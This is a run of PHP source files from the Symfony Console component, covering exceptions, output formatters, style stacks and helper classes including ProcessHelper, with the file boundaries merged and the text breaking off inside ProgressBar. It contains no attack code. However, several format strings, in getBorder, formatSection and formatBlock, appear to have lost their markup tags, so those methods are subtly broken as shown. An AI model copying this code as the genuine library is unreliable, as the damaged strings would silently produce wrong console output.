public static function getSubscribedEvents() { return [ ConsoleEvents::ERROR => ['onConsoleError', -128], ConsoleEvents::TERMINATE => ['onConsoleTerminate', -128], ]; } private static function getInputString(ConsoleEvent $event): ?string { $commandName = $event->getCommand() ? $event->getCommand()->getName() : null; $input = $event->getInput(); if (method_exists($input, '__toString')) { if ($commandName) { return str_replace(["'$commandName'", "\"$commandName\""], $commandName, (string) $input); } return (string) $input; } return $commandName; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Exception; /** * Represents an incorrect command name typed in the console. * * @author Jérôme Tamarelle */ class CommandNotFoundException extends \InvalidArgumentException implements ExceptionInterface { private $alternatives; /** * @param string $message Exception message to throw * @param string[] $alternatives List of similar defined names * @param int $code Exception code * @param \Throwable|null $previous Previous exception used for the exception chaining */ public function __construct(string $message, array $alternatives = [], int $code = 0, ?\Throwable $previous = null) { parent::__construct($message, $code, $previous); $this->alternatives = $alternatives; } /** * @return string[] */ public function getAlternatives() { return $this->alternatives; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Exception; /** * ExceptionInterface. * * @author Jérôme Tamarelle */ interface ExceptionInterface extends \Throwable { } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Exception; /** * @author Jérôme Tamarelle */ class InvalidArgumentException extends \InvalidArgumentException implements ExceptionInterface { } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Exception; /** * Represents an incorrect option name or value typed in the console. * * @author Jérôme Tamarelle */ class InvalidOptionException extends \InvalidArgumentException implements ExceptionInterface { } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Exception; /** * @author Jérôme Tamarelle */ class LogicException extends \LogicException implements ExceptionInterface { } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Exception; /** * Represents failure to read input from stdin. * * @author Gabriel Ostrolucký */ class MissingInputException extends RuntimeException implements ExceptionInterface { } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Exception; /** * Represents an incorrect namespace typed in the console. * * @author Pierre du Plessis */ class NamespaceNotFoundException extends CommandNotFoundException { } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Exception; /** * @author Jérôme Tamarelle */ class RuntimeException extends \RuntimeException implements ExceptionInterface { } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Formatter; /** * @author Tien Xuan Vo */ final class NullOutputFormatter implements OutputFormatterInterface { private $style; /** * {@inheritdoc} */ public function format(?string $message): ?string { return null; } /** * {@inheritdoc} */ public function getStyle(string $name): OutputFormatterStyleInterface { // to comply with the interface we must return a OutputFormatterStyleInterface return $this->style ?? $this->style = new NullOutputFormatterStyle(); } /** * {@inheritdoc} */ public function hasStyle(string $name): bool { return false; } /** * {@inheritdoc} */ public function isDecorated(): bool { return false; } /** * {@inheritdoc} */ public function setDecorated(bool $decorated): void { // do nothing } /** * {@inheritdoc} */ public function setStyle(string $name, OutputFormatterStyleInterface $style): void { // do nothing } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Formatter; /** * @author Tien Xuan Vo */ final class NullOutputFormatterStyle implements OutputFormatterStyleInterface { /** * {@inheritdoc} */ public function apply(string $text): string { return $text; } /** * {@inheritdoc} */ public function setBackground(?string $color = null): void { // do nothing } /** * {@inheritdoc} */ public function setForeground(?string $color = null): void { // do nothing } /** * {@inheritdoc} */ public function setOption(string $option): void { // do nothing } /** * {@inheritdoc} */ public function setOptions(array $options): void { // do nothing } /** * {@inheritdoc} */ public function unsetOption(string $option): void { // do nothing } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Formatter; use Symfony\Component\Console\Exception\InvalidArgumentException; use function Symfony\Component\String\b; /** * Formatter class for console output. * * @author Konstantin Kudryashov * @author Roland Franssen */ class OutputFormatter implements WrappableOutputFormatterInterface { private $decorated; private $styles = []; private $styleStack; public function __clone() { $this->styleStack = clone $this->styleStack; foreach ($this->styles as $key => $value) { $this->styles[$key] = clone $value; } } /** * Escapes "<" and ">" special chars in given text. * * @return string */ public static function escape(string $text) { $text = preg_replace('/([^\\\\]|^)([<>])/', '$1\\\\$2', $text); return self::escapeTrailingBackslash($text); } /** * Escapes trailing "\" in given text. * * @internal */ public static function escapeTrailingBackslash(string $text): string { if (str_ends_with($text, '\\')) { $len = \strlen($text); $text = rtrim($text, '\\'); $text = str_replace("\0", '', $text); $text .= str_repeat("\0", $len - \strlen($text)); } return $text; } /** * Initializes console output formatter. * * @param OutputFormatterStyleInterface[] $styles Array of "name => FormatterStyle" instances */ public function __construct(bool $decorated = false, array $styles = []) { $this->decorated = $decorated; $this->setStyle('error', new OutputFormatterStyle('white', 'red')); $this->setStyle('info', new OutputFormatterStyle('green')); $this->setStyle('comment', new OutputFormatterStyle('yellow')); $this->setStyle('question', new OutputFormatterStyle('black', 'cyan')); foreach ($styles as $name => $style) { $this->setStyle($name, $style); } $this->styleStack = new OutputFormatterStyleStack(); } /** * {@inheritdoc} */ public function setDecorated(bool $decorated) { $this->decorated = $decorated; } /** * {@inheritdoc} */ public function isDecorated() { return $this->decorated; } /** * {@inheritdoc} */ public function setStyle(string $name, OutputFormatterStyleInterface $style) { $this->styles[strtolower($name)] = $style; } /** * {@inheritdoc} */ public function hasStyle(string $name) { return isset($this->styles[strtolower($name)]); } /** * {@inheritdoc} */ public function getStyle(string $name) { if (!$this->hasStyle($name)) { throw new InvalidArgumentException(sprintf('Undefined style: "%s".', $name)); } return $this->styles[strtolower($name)]; } /** * {@inheritdoc} */ public function format(?string $message) { return $this->formatAndWrap($message, 0); } /** * {@inheritdoc} */ public function formatAndWrap(?string $message, int $width) { if (null === $message) { return ''; } $offset = 0; $output = ''; $openTagRegex = '[a-z](?:[^\\\\<>]*+ | \\\\.)*'; $closeTagRegex = '[a-z][^<>]*+'; $currentLineLength = 0; preg_match_all("#<(($openTagRegex) | /($closeTagRegex)?)>#ix", $message, $matches, \PREG_OFFSET_CAPTURE); foreach ($matches[0] as $i => $match) { $pos = $match[1]; $text = $match[0]; if (0 != $pos && '\\' == $message[$pos - 1]) { continue; } // add the text up to the next tag $output .= $this->applyCurrentStyle(substr($message, $offset, $pos - $offset), $output, $width, $currentLineLength); $offset = $pos + \strlen($text); // opening tag? if ($open = '/' != $text[1]) { $tag = $matches[1][$i][0]; } else { $tag = $matches[3][$i][0] ?? ''; } if (!$open && !$tag) { // $this->styleStack->pop(); } elseif (null === $style = $this->createStyleFromString($tag)) { $output .= $this->applyCurrentStyle($text, $output, $width, $currentLineLength); } elseif ($open) { $this->styleStack->push($style); } else { $this->styleStack->pop($style); } } $output .= $this->applyCurrentStyle(substr($message, $offset), $output, $width, $currentLineLength); return strtr($output, ["\0" => '\\', '\\<' => '<', '\\>' => '>']); } /** * @return OutputFormatterStyleStack */ public function getStyleStack() { return $this->styleStack; } /** * Tries to create new style instance from string. */ private function createStyleFromString(string $string): ?OutputFormatterStyleInterface { if (isset($this->styles[$string])) { return $this->styles[$string]; } if (!preg_match_all('/([^=]+)=([^;]+)(;|$)/', $string, $matches, \PREG_SET_ORDER)) { return null; } $style = new OutputFormatterStyle(); foreach ($matches as $match) { array_shift($match); $match[0] = strtolower($match[0]); if ('fg' == $match[0]) { $style->setForeground(strtolower($match[1])); } elseif ('bg' == $match[0]) { $style->setBackground(strtolower($match[1])); } elseif ('href' === $match[0]) { $url = preg_replace('{\\\\([<>])}', '$1', $match[1]); $style->setHref($url); } elseif ('options' === $match[0]) { preg_match_all('([^,;]+)', strtolower($match[1]), $options); $options = array_shift($options); foreach ($options as $option) { $style->setOption($option); } } else { return null; } } return $style; } /** * Applies current style from stack to text, if must be applied. */ private function applyCurrentStyle(string $text, string $current, int $width, int &$currentLineLength): string { if ('' === $text) { return ''; } if (!$width) { return $this->isDecorated() ? $this->styleStack->getCurrent()->apply($text) : $text; } if (!$currentLineLength && '' !== $current) { $text = ltrim($text); } if ($currentLineLength) { $prefix = substr($text, 0, $i = $width - $currentLineLength)."\n"; $text = substr($text, $i); } else { $prefix = ''; } preg_match('~(\\n)$~', $text, $matches); $text = $prefix.$this->addLineBreaks($text, $width); $text = rtrim($text, "\n").($matches[1] ?? ''); if (!$currentLineLength && '' !== $current && "\n" !== substr($current, -1)) { $text = "\n".$text; } $lines = explode("\n", $text); foreach ($lines as $line) { $currentLineLength += \strlen($line); if ($width <= $currentLineLength) { $currentLineLength = 0; } } if ($this->isDecorated()) { foreach ($lines as $i => $line) { $lines[$i] = $this->styleStack->getCurrent()->apply($line); } } return implode("\n", $lines); } private function addLineBreaks(string $text, int $width): string { $encoding = mb_detect_encoding($text, null, true) ?: 'UTF-8'; return b($text)->toCodePointString($encoding)->wordwrap($width, "\n", true)->toByteString($encoding); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Formatter; /** * Formatter interface for console output. * * @author Konstantin Kudryashov */ interface OutputFormatterInterface { /** * Sets the decorated flag. */ public function setDecorated(bool $decorated); /** * Whether the output will decorate messages. * * @return bool */ public function isDecorated(); /** * Sets a new style. */ public function setStyle(string $name, OutputFormatterStyleInterface $style); /** * Checks if output formatter has style with specified name. * * @return bool */ public function hasStyle(string $name); /** * Gets style options from style with specified name. * * @return OutputFormatterStyleInterface * * @throws \InvalidArgumentException When style isn't defined */ public function getStyle(string $name); /** * Formats a message according to the given styles. * * @return string|null */ public function format(?string $message); } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Formatter; use Symfony\Component\Console\Color; /** * Formatter style class for defining styles. * * @author Konstantin Kudryashov */ class OutputFormatterStyle implements OutputFormatterStyleInterface { private $color; private $foreground; private $background; private $options; private $href; private $handlesHrefGracefully; /** * Initializes output formatter style. * * @param string|null $foreground The style foreground color name * @param string|null $background The style background color name */ public function __construct(?string $foreground = null, ?string $background = null, array $options = []) { $this->color = new Color($this->foreground = $foreground ?: '', $this->background = $background ?: '', $this->options = $options); } /** * {@inheritdoc} */ public function setForeground(?string $color = null) { $this->color = new Color($this->foreground = $color ?: '', $this->background, $this->options); } /** * {@inheritdoc} */ public function setBackground(?string $color = null) { $this->color = new Color($this->foreground, $this->background = $color ?: '', $this->options); } public function setHref(string $url): void { $this->href = $url; } /** * {@inheritdoc} */ public function setOption(string $option) { $this->options[] = $option; $this->color = new Color($this->foreground, $this->background, $this->options); } /** * {@inheritdoc} */ public function unsetOption(string $option) { $pos = array_search($option, $this->options); if (false !== $pos) { unset($this->options[$pos]); } $this->color = new Color($this->foreground, $this->background, $this->options); } /** * {@inheritdoc} */ public function setOptions(array $options) { $this->color = new Color($this->foreground, $this->background, $this->options = $options); } /** * {@inheritdoc} */ public function apply(string $text) { if (null === $this->handlesHrefGracefully) { $this->handlesHrefGracefully = 'JetBrains-JediTerm' !== getenv('TERMINAL_EMULATOR') && (!getenv('KONSOLE_VERSION') || (int) getenv('KONSOLE_VERSION') > 201100) && !isset($_SERVER['IDEA_INITIAL_DIRECTORY']); } if (null !== $this->href && $this->handlesHrefGracefully) { $text = "\033]8;;$this->href\033\\$text\033]8;;\033\\"; } return $this->color->apply($text); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Formatter; /** * Formatter style interface for defining styles. * * @author Konstantin Kudryashov */ interface OutputFormatterStyleInterface { /** * Sets style foreground color. */ public function setForeground(?string $color = null); /** * Sets style background color. */ public function setBackground(?string $color = null); /** * Sets some specific style option. */ public function setOption(string $option); /** * Unsets some specific style option. */ public function unsetOption(string $option); /** * Sets multiple style options at once. */ public function setOptions(array $options); /** * Applies the style to a given text. * * @return string */ public function apply(string $text); } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Formatter; use Symfony\Component\Console\Exception\InvalidArgumentException; use Symfony\Contracts\Service\ResetInterface; /** * @author Jean-François Simon */ class OutputFormatterStyleStack implements ResetInterface { /** * @var OutputFormatterStyleInterface[] */ private $styles; private $emptyStyle; public function __construct(?OutputFormatterStyleInterface $emptyStyle = null) { $this->emptyStyle = $emptyStyle ?? new OutputFormatterStyle(); $this->reset(); } /** * Resets stack (ie. empty internal arrays). */ public function reset() { $this->styles = []; } /** * Pushes a style in the stack. */ public function push(OutputFormatterStyleInterface $style) { $this->styles[] = $style; } /** * Pops a style from the stack. * * @return OutputFormatterStyleInterface * * @throws InvalidArgumentException When style tags incorrectly nested */ public function pop(?OutputFormatterStyleInterface $style = null) { if (empty($this->styles)) { return $this->emptyStyle; } if (null === $style) { return array_pop($this->styles); } foreach (array_reverse($this->styles, true) as $index => $stackedStyle) { if ($style->apply('') === $stackedStyle->apply('')) { $this->styles = \array_slice($this->styles, 0, $index); return $stackedStyle; } } throw new InvalidArgumentException('Incorrectly nested style tag found.'); } /** * Computes current style with stacks top codes. * * @return OutputFormatterStyle */ public function getCurrent() { if (empty($this->styles)) { return $this->emptyStyle; } return $this->styles[\count($this->styles) - 1]; } /** * @return $this */ public function setEmptyStyle(OutputFormatterStyleInterface $emptyStyle) { $this->emptyStyle = $emptyStyle; return $this; } /** * @return OutputFormatterStyleInterface */ public function getEmptyStyle() { return $this->emptyStyle; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Formatter; /** * Formatter interface for console output that supports word wrapping. * * @author Roland Franssen */ interface WrappableOutputFormatterInterface extends OutputFormatterInterface { /** * Formats a message according to the given styles, wrapping at `$width` (0 means no wrapping). */ public function formatAndWrap(?string $message, int $width); } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Helper; /** * Helps outputting debug information when running an external program from a command. * * An external program can be a Process, an HTTP request, or anything else. * * @author Fabien Potencier */ class DebugFormatterHelper extends Helper { private const COLORS = ['black', 'red', 'green', 'yellow', 'blue', 'magenta', 'cyan', 'white', 'default']; private $started = []; private $count = -1; /** * Starts a debug formatting session. * * @return string */ public function start(string $id, string $message, string $prefix = 'RUN') { $this->started[$id] = ['border' => ++$this->count % \count(self::COLORS)]; return sprintf("%s %s %s\n", $this->getBorder($id), $prefix, $message); } /** * Adds progress to a formatting session. * * @return string */ public function progress(string $id, string $buffer, bool $error = false, string $prefix = 'OUT', string $errorPrefix = 'ERR') { $message = ''; if ($error) { if (isset($this->started[$id]['out'])) { $message .= "\n"; unset($this->started[$id]['out']); } if (!isset($this->started[$id]['err'])) { $message .= sprintf('%s %s ', $this->getBorder($id), $errorPrefix); $this->started[$id]['err'] = true; } $message .= str_replace("\n", sprintf("\n%s %s ", $this->getBorder($id), $errorPrefix), $buffer); } else { if (isset($this->started[$id]['err'])) { $message .= "\n"; unset($this->started[$id]['err']); } if (!isset($this->started[$id]['out'])) { $message .= sprintf('%s %s ', $this->getBorder($id), $prefix); $this->started[$id]['out'] = true; } $message .= str_replace("\n", sprintf("\n%s %s ", $this->getBorder($id), $prefix), $buffer); } return $message; } /** * Stops a formatting session. * * @return string */ public function stop(string $id, string $message, bool $successful, string $prefix = 'RES') { $trailingEOL = isset($this->started[$id]['out']) || isset($this->started[$id]['err']) ? "\n" : ''; if ($successful) { return sprintf("%s%s %s %s\n", $trailingEOL, $this->getBorder($id), $prefix, $message); } $message = sprintf("%s%s %s %s\n", $trailingEOL, $this->getBorder($id), $prefix, $message); unset($this->started[$id]['out'], $this->started[$id]['err']); return $message; } private function getBorder(string $id): string { return sprintf(' ', self::COLORS[$this->started[$id]['border']]); } /** * {@inheritdoc} */ public function getName() { return 'debug_formatter'; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Helper; use Symfony\Component\Console\Descriptor\DescriptorInterface; use Symfony\Component\Console\Descriptor\JsonDescriptor; use Symfony\Component\Console\Descriptor\MarkdownDescriptor; use Symfony\Component\Console\Descriptor\TextDescriptor; use Symfony\Component\Console\Descriptor\XmlDescriptor; use Symfony\Component\Console\Exception\InvalidArgumentException; use Symfony\Component\Console\Output\OutputInterface; /** * This class adds helper method to describe objects in various formats. * * @author Jean-François Simon */ class DescriptorHelper extends Helper { /** * @var DescriptorInterface[] */ private $descriptors = []; public function __construct() { $this ->register('txt', new TextDescriptor()) ->register('xml', new XmlDescriptor()) ->register('json', new JsonDescriptor()) ->register('md', new MarkdownDescriptor()) ; } /** * Describes an object if supported. * * Available options are: * * format: string, the output format name * * raw_text: boolean, sets output type as raw * * @throws InvalidArgumentException when the given format is not supported */ public function describe(OutputInterface $output, ?object $object, array $options = []) { $options = array_merge([ 'raw_text' => false, 'format' => 'txt', ], $options); if (!isset($this->descriptors[$options['format']])) { throw new InvalidArgumentException(sprintf('Unsupported format "%s".', $options['format'])); } $descriptor = $this->descriptors[$options['format']]; $descriptor->describe($output, $object, $options); } /** * Registers a descriptor. * * @return $this */ public function register(string $format, DescriptorInterface $descriptor) { $this->descriptors[$format] = $descriptor; return $this; } /** * {@inheritdoc} */ public function getName() { return 'descriptor'; } public function getFormats(): array { return array_keys($this->descriptors); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Helper; use Symfony\Component\Console\Output\OutputInterface; use Symfony\Component\VarDumper\Cloner\ClonerInterface; use Symfony\Component\VarDumper\Cloner\VarCloner; use Symfony\Component\VarDumper\Dumper\CliDumper; /** * @author Roland Franssen */ final class Dumper { private $output; private $dumper; private $cloner; private $handler; public function __construct(OutputInterface $output, ?CliDumper $dumper = null, ?ClonerInterface $cloner = null) { $this->output = $output; $this->dumper = $dumper; $this->cloner = $cloner; if (class_exists(CliDumper::class)) { $this->handler = function ($var): string { $dumper = $this->dumper ?? $this->dumper = new CliDumper(null, null, CliDumper::DUMP_LIGHT_ARRAY | CliDumper::DUMP_COMMA_SEPARATOR); $dumper->setColors($this->output->isDecorated()); return rtrim($dumper->dump(($this->cloner ?? $this->cloner = new VarCloner())->cloneVar($var)->withRefHandles(false), true)); }; } else { $this->handler = function ($var): string { switch (true) { case null === $var: return 'null'; case true === $var: return 'true'; case false === $var: return 'false'; case \is_string($var): return '"'.$var.'"'; default: return rtrim(print_r($var, true)); } }; } } public function __invoke($var): string { return ($this->handler)($var); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Helper; use Symfony\Component\Console\Formatter\OutputFormatter; /** * The Formatter class provides helpers to format messages. * * @author Fabien Potencier */ class FormatterHelper extends Helper { /** * Formats a message within a section. * * @return string */ public function formatSection(string $section, string $message, string $style = 'info') { return sprintf('<%s>[%s] %s', $style, $section, $style, $message); } /** * Formats a message as a block of text. * * @param string|array $messages The message to write in the block * * @return string */ public function formatBlock($messages, string $style, bool $large = false) { if (!\is_array($messages)) { $messages = [$messages]; } $len = 0; $lines = []; foreach ($messages as $message) { $message = OutputFormatter::escape($message); $lines[] = sprintf($large ? ' %s ' : ' %s ', $message); $len = max(self::width($message) + ($large ? 4 : 2), $len); } $messages = $large ? [str_repeat(' ', $len)] : []; for ($i = 0; isset($lines[$i]); ++$i) { $messages[] = $lines[$i].str_repeat(' ', $len - self::width($lines[$i])); } if ($large) { $messages[] = str_repeat(' ', $len); } for ($i = 0; isset($messages[$i]); ++$i) { $messages[$i] = sprintf('<%s>%s', $style, $messages[$i], $style); } return implode("\n", $messages); } /** * Truncates a message to the given length. * * @return string */ public function truncate(string $message, int $length, string $suffix = '...') { $computedLength = $length - self::width($suffix); if ($computedLength > self::width($message)) { return $message; } return self::substr($message, 0, $length).$suffix; } /** * {@inheritdoc} */ public function getName() { return 'formatter'; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Helper; use Symfony\Component\Console\Formatter\OutputFormatterInterface; use Symfony\Component\String\UnicodeString; /** * Helper is the base class for all helper classes. * * @author Fabien Potencier */ abstract class Helper implements HelperInterface { protected $helperSet = null; /** * {@inheritdoc} */ public function setHelperSet(?HelperSet $helperSet = null) { $this->helperSet = $helperSet; } /** * {@inheritdoc} */ public function getHelperSet() { return $this->helperSet; } /** * Returns the length of a string, using mb_strwidth if it is available. * * @deprecated since Symfony 5.3 * * @return int */ public static function strlen(?string $string) { trigger_deprecation('symfony/console', '5.3', 'Method "%s()" is deprecated and will be removed in Symfony 6.0. Use Helper::width() or Helper::length() instead.', __METHOD__); return self::width($string); } /** * Returns the width of a string, using mb_strwidth if it is available. * The width is how many characters positions the string will use. */ public static function width(?string $string): int { $string ?? $string = ''; if (preg_match('//u', $string)) { return (new UnicodeString($string))->width(false); } if (false === $encoding = mb_detect_encoding($string, null, true)) { return \strlen($string); } return mb_strwidth($string, $encoding); } /** * Returns the length of a string, using mb_strlen if it is available. * The length is related to how many bytes the string will use. */ public static function length(?string $string): int { $string ?? $string = ''; if (preg_match('//u', $string)) { return (new UnicodeString($string))->length(); } if (false === $encoding = mb_detect_encoding($string, null, true)) { return \strlen($string); } return mb_strlen($string, $encoding); } /** * Returns the subset of a string, using mb_substr if it is available. * * @return string */ public static function substr(?string $string, int $from, ?int $length = null) { $string ?? $string = ''; if (false === $encoding = mb_detect_encoding($string, null, true)) { return substr($string, $from, $length); } return mb_substr($string, $from, $length, $encoding); } public static function formatTime($secs) { static $timeFormats = [ [0, '< 1 sec'], [1, '1 sec'], [2, 'secs', 1], [60, '1 min'], [120, 'mins', 60], [3600, '1 hr'], [7200, 'hrs', 3600], [86400, '1 day'], [172800, 'days', 86400], ]; foreach ($timeFormats as $index => $format) { if ($secs >= $format[0]) { if ((isset($timeFormats[$index + 1]) && $secs < $timeFormats[$index + 1][0]) || $index == \count($timeFormats) - 1 ) { if (2 == \count($format)) { return $format[1]; } return floor($secs / $format[2]).' '.$format[1]; } } } } public static function formatMemory(int $memory) { if ($memory >= 1024 * 1024 * 1024) { return sprintf('%.1f GiB', $memory / 1024 / 1024 / 1024); } if ($memory >= 1024 * 1024) { return sprintf('%.1f MiB', $memory / 1024 / 1024); } if ($memory >= 1024) { return sprintf('%d KiB', $memory / 1024); } return sprintf('%d B', $memory); } /** * @deprecated since Symfony 5.3 */ public static function strlenWithoutDecoration(OutputFormatterInterface $formatter, ?string $string) { trigger_deprecation('symfony/console', '5.3', 'Method "%s()" is deprecated and will be removed in Symfony 6.0. Use Helper::removeDecoration() instead.', __METHOD__); return self::width(self::removeDecoration($formatter, $string)); } public static function removeDecoration(OutputFormatterInterface $formatter, ?string $string) { $isDecorated = $formatter->isDecorated(); $formatter->setDecorated(false); // remove <...> formatting $string = $formatter->format($string ?? ''); // remove already formatted characters $string = preg_replace("/\033\[[^m]*m/", '', $string ?? ''); // remove terminal hyperlinks $string = preg_replace('/\\033]8;[^;]*;[^\\033]*\\033\\\\/', '', $string ?? ''); $formatter->setDecorated($isDecorated); return $string; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Helper; /** * HelperInterface is the interface all helpers must implement. * * @author Fabien Potencier */ interface HelperInterface { /** * Sets the helper set associated with this helper. */ public function setHelperSet(?HelperSet $helperSet = null); /** * Gets the helper set associated with this helper. * * @return HelperSet|null */ public function getHelperSet(); /** * Returns the canonical name of this helper. * * @return string */ public function getName(); } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Helper; use Symfony\Component\Console\Command\Command; use Symfony\Component\Console\Exception\InvalidArgumentException; /** * HelperSet represents a set of helpers to be used with a command. * * @author Fabien Potencier * * @implements \IteratorAggregate */ class HelperSet implements \IteratorAggregate { /** @var array */ private $helpers = []; private $command; /** * @param Helper[] $helpers An array of helper */ public function __construct(array $helpers = []) { foreach ($helpers as $alias => $helper) { $this->set($helper, \is_int($alias) ? null : $alias); } } public function set(HelperInterface $helper, ?string $alias = null) { $this->helpers[$helper->getName()] = $helper; if (null !== $alias) { $this->helpers[$alias] = $helper; } $helper->setHelperSet($this); } /** * Returns true if the helper if defined. * * @return bool */ public function has(string $name) { return isset($this->helpers[$name]); } /** * Gets a helper value. * * @return HelperInterface * * @throws InvalidArgumentException if the helper is not defined */ public function get(string $name) { if (!$this->has($name)) { throw new InvalidArgumentException(sprintf('The helper "%s" is not defined.', $name)); } return $this->helpers[$name]; } /** * @deprecated since Symfony 5.4 */ public function setCommand(?Command $command = null) { trigger_deprecation('symfony/console', '5.4', 'Method "%s()" is deprecated.', __METHOD__); $this->command = $command; } /** * Gets the command associated with this helper set. * * @return Command * * @deprecated since Symfony 5.4 */ public function getCommand() { trigger_deprecation('symfony/console', '5.4', 'Method "%s()" is deprecated.', __METHOD__); return $this->command; } /** * @return \Traversable */ #[\ReturnTypeWillChange] public function getIterator() { return new \ArrayIterator($this->helpers); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Helper; use Symfony\Component\Console\Input\InputAwareInterface; use Symfony\Component\Console\Input\InputInterface; /** * An implementation of InputAwareInterface for Helpers. * * @author Wouter J */ abstract class InputAwareHelper extends Helper implements InputAwareInterface { protected $input; /** * {@inheritdoc} */ public function setInput(InputInterface $input) { $this->input = $input; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Helper; use Symfony\Component\Console\Output\ConsoleOutputInterface; use Symfony\Component\Console\Output\OutputInterface; use Symfony\Component\Process\Exception\ProcessFailedException; use Symfony\Component\Process\Process; /** * The ProcessHelper class provides helpers to run external processes. * * @author Fabien Potencier * * @final */ class ProcessHelper extends Helper { /** * Runs an external process. * * @param array|Process $cmd An instance of Process or an array of the command and arguments * @param callable|null $callback A PHP callback to run whenever there is some * output available on STDOUT or STDERR */ public function run(OutputInterface $output, $cmd, ?string $error = null, ?callable $callback = null, int $verbosity = OutputInterface::VERBOSITY_VERY_VERBOSE): Process { if (!class_exists(Process::class)) { throw new \LogicException('The ProcessHelper cannot be run as the Process component is not installed. Try running "compose require symfony/process".'); } if ($output instanceof ConsoleOutputInterface) { $output = $output->getErrorOutput(); } $formatter = $this->getHelperSet()->get('debug_formatter'); if ($cmd instanceof Process) { $cmd = [$cmd]; } if (!\is_array($cmd)) { throw new \TypeError(sprintf('The "command" argument of "%s()" must be an array or a "%s" instance, "%s" given.', __METHOD__, Process::class, get_debug_type($cmd))); } if (\is_string($cmd[0] ?? null)) { $process = new Process($cmd); $cmd = []; } elseif (($cmd[0] ?? null) instanceof Process) { $process = $cmd[0]; unset($cmd[0]); } else { throw new \InvalidArgumentException(sprintf('Invalid command provided to "%s()": the command should be an array whose first element is either the path to the binary to run or a "Process" object.', __METHOD__)); } if ($verbosity <= $output->getVerbosity()) { $output->write($formatter->start(spl_object_hash($process), $this->escapeString($process->getCommandLine()))); } if ($output->isDebug()) { $callback = $this->wrapCallback($output, $process, $callback); } $process->run($callback, $cmd); if ($verbosity <= $output->getVerbosity()) { $message = $process->isSuccessful() ? 'Command ran successfully' : sprintf('%s Command did not run successfully', $process->getExitCode()); $output->write($formatter->stop(spl_object_hash($process), $message, $process->isSuccessful())); } if (!$process->isSuccessful() && null !== $error) { $output->writeln(sprintf('%s', $this->escapeString($error))); } return $process; } /** * Runs the process. * * This is identical to run() except that an exception is thrown if the process * exits with a non-zero exit code. * * @param array|Process $cmd An instance of Process or a command to run * @param callable|null $callback A PHP callback to run whenever there is some * output available on STDOUT or STDERR * * @throws ProcessFailedException * * @see run() */ public function mustRun(OutputInterface $output, $cmd, ?string $error = null, ?callable $callback = null): Process { $process = $this->run($output, $cmd, $error, $callback); if (!$process->isSuccessful()) { throw new ProcessFailedException($process); } return $process; } /** * Wraps a Process callback to add debugging output. */ public function wrapCallback(OutputInterface $output, Process $process, ?callable $callback = null): callable { if ($output instanceof ConsoleOutputInterface) { $output = $output->getErrorOutput(); } $formatter = $this->getHelperSet()->get('debug_formatter'); return function ($type, $buffer) use ($output, $process, $callback, $formatter) { $output->write($formatter->progress(spl_object_hash($process), $this->escapeString($buffer), Process::ERR === $type)); if (null !== $callback) { $callback($type, $buffer); } }; } private function escapeString(string $str): string { return str_replace('<', '\\<', $str); } /** * {@inheritdoc} */ public function getName(): string { return 'process'; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Console\Helper; use Symfony\Component\Console\Cursor; use Symfony\Component\Console\Exception\LogicException; use Symfony\Component\Console\Output\ConsoleOutputInterface; use Symfony\Component\Console\Output\ConsoleSectionOutput; use Symfony\Component\Console\Output\OutputInterface; use Symfony\Component\Console\Terminal; /** * The ProgressBar provides helpers to display progress output. * * @author Fabien Potencier * @author Chris Jones */ final class ProgressBar { public const FORMAT_VERBOSE = 'verbose'; public const FORMAT_VERY_VERBOSE = 'very_verbose'; public const FORMAT_DEBUG = 'debug'; public const FORMAT_NORMAL = 'normal'; private const FORMAT_VERBOSE_NOMAX = 'verbose_nomax'; private const FORMAT_VERY_VERBOSE_NOMAX = 'very_verbose_nomax'; private const FORMAT_DEBUG_NOMAX = 'debug_nomax'; private const FORMAT_NORMAL_NOMAX = 'normal_nomax'; private $barWidth = 28; private $barChar; private $emptyBarChar = '-'; private $progressChar = '>'; private $format; private $internalFormat; private $redrawFreq = 1; private $writeCount; private $lastWriteTime; private $minSecondsBetweenRedraws = 0; private $maxSecondsBetweenRedraws = 1; private $output; private $step = 0; private $max; private $startTime; private $stepWidth; private $percent = 0.0; private $messages = []; private $overwrite = true; private $terminal; private $previousMessage; private $cursor; private static $formatters; private static $formats; /** * @param int $max Maximum steps (0 if unknown) */ public function __construct(OutputInterface 